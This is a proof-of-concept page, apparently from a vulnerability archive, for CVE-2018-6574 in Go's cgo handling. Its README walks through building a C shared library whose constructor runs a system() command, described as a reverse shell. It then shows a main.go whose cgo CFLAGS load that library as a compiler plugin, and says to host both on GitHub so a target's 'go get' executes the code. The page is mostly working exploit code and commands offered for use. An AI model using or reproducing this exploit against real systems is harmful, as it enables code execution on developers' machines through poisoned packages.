CVE-2018-6574 PoC — Google Go 安全漏洞

Source

Associated Vulnerability

Description

Golang cgo exploit for CVE-2018-6574

Readme

# CVE-2018-6574

### Steps to reproduce:

1. Create a .c file containing the malicious command (revshell):
```
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}
```
2. Compile it using GCC. You must compile it on the exact architecture and OS as the target (e.g. Linux x86_64):
```
gcc -shared -o attack.so -fPIC attack.c
```
3. Create a main.go file containing headers that will tell go to use our malicious plugin:
```
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
```
4. Host the files `main.go` and `attack.so` on a github repo
5. On the target machine, run the command `go get github.com/<your-handle>/<your-hepo>
6. Be happy

File Snapshot

 [4.0K]  /data/pocs/5e219d5e907798c5005f7fb8c8b8a52bd84139d2
├── [ 154]  attack.c
├── [ 15K]  attack.so
├── [ 316]  main.go
└── [1005]  README.md

0 directories, 4 files

Remarks